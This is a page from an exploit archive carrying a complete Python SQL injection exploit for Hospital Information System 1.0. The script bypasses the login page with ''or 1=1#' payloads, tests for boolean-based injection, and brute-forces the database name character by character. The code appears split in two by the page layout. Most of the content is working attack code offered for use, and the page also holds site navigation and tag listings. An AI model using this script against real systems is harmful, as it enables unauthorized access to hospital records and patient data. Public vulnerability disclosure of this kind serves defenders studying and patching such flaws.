Hospital Information System 1.0 SQL Injection

Authored by saitamang

Posted Jul 26, 2022

Hospital Information System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | fe66c661132cc964be237a78b59c37dd33812105a69f943e40034432ba9e37b1 **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Hospital Information System - SQL Injection via login page
# Date: 25/07/2022
# Exploit Author: saitamang
# Vendor Homepage: https://code-projects.org
# Software Link: https://download-media.code-
projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL


import requests, string, sys, warnings, time, concurrent.futures
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)

dbname = ''

req = requests.Session()

def login(ip,username,password):
    target = "http://%s/HIS/includes/users/UsersController.php" %ip

    data = {'type':'login','username':username,'password':password}
    response = req.post(target, data=data)

    if 'success' in response.text:
        print("[$] Success Login with credentials "+username+":"+password+"")
    else:
        print("[$] Failed Login with credentials "+username+":"+password+"")

def check_injection():
    # library inj
    test_query0 = "'or 1=2#"
    test_query1 = "'or 1=1#"

    target = "http://%s/HIS/includes/users/UsersController.php" %ip

    result = ""

    for i in range(2):

        if i==0:
            data = {'type':'login','username':username,'password':test_query0}
            response = req.post(target, data=data)
            if response.text=="success":
                result = response.text
            else:
                pass
        if i==1:
            data = {'type':'login', 'username':username,'password':test_query1}
            response = req.post(target, data=data)
            if response.text=="success":
                result = response.text
            else:
                pass
    if result=="success":
        print("[##] SQLI Boolean-Based Present at password field :)")
    else:
        print("[##] No SQLI :)")

def brute(dbname):
    target = "http://%s/HIS/includes/users/UsersController.php" %ip

    l=0

    no = [int(a) for a in str(string.digits)]
    # checking length of dbname
    for i in no: # 0-9

        payload = "'or 1=1 and length(database())='"+ str(i) +"'#"
        #print(payload)

        data = {'type':'login','username':username,'password':payload}
        response = req.post(target, data=data)
        result = response.text
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	188 files
Ubuntu	57 files
Gentoo	44 files
Debian	28 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX	(426)
Apple	(1,926)

```
        if result=="success":
            print("[##] The correct length of DB name is "+str(i))
            l=i
            break
        else:
            print("[##] The length of DB name "+str(i)+" is wrong")
            pass

    char = [char for char in string.ascii_lowercase]
    dbname = []

    for i in range(l):
        for j in char:
            payload = "'or 1=1 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"

            data = {'type':'login','username':username,'password':payload}
            response = req.post(target, data=data)
            result = response.text

            if result=="success":
                dbname.append(j)
                print("[+] The " + str(i+1) + " char of DB name is "+str(j))
                break
            else:
                pass

    dbname = ''.join(dbname)

    print("[+] Database name retrieved --> "+dbname)
    print("[+] Bypass completed :)")
    print("[+] Bypass payload can be used is \n'or 1=1#")

    password = "'or 1=1#"
    print("\nRetry to login with new payload in password field")
    login(ip,username,password)

if __name__ == "__main__":
    print("   _____       _ __                                   ")
    print("  / ___/____ _(_) /_____ _____ ___  ____ _____  ____ _")
    print("  \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")
    print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")
    print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, /  ")
    print("                                             /____/   \n\n")

    try:
        ip = sys.argv[1].strip()
        username = sys.argv[2].strip()
        password = sys.argv[3].strip()

        login(ip,username,password)
        check_injection()
        brute(dbname)

    except IndexError:
        print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])
        print("[-] Example: %s 192.168.100.x admin admin123" % sys.argv[0])
    sys.exit(-1)
```

Login or Register to add favorites

Intrusion Detection (866)

Java (2,888)

JavaScript (817)

Kernel (6,255)

Local (14,173)

Magazine (586)

Overflow (12,390)

Perl (1,417)

PHP (5,087)

Proof of Concept (2,290)

Protocol (3,426)

Python (1,449)

Remote (30,009)

Root (3,496)

Ruby (594)

Scanner (1,631)

Security Tool (7,768)

Shell (3,098)

Shellcode (1,204)

Sniffer (885)

Spoof (2,165)

SQL Injection (16,089)

TCP (2,377)

Trojan (685)

UDP (875)

Virus (661)

Vulnerability (31,104)

Web (9,329)

Whitepaper (3,728)

x86 (946)

XSS (17,478)

Other

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,620)

Fedora (1,690)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,118)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,339)

Slackware (941)

Solaris (1,607)

SUSE (1,444)

Ubuntu (8,147)

UNIX (9,150)

UnixWare (185)

Windows (6,504)

Other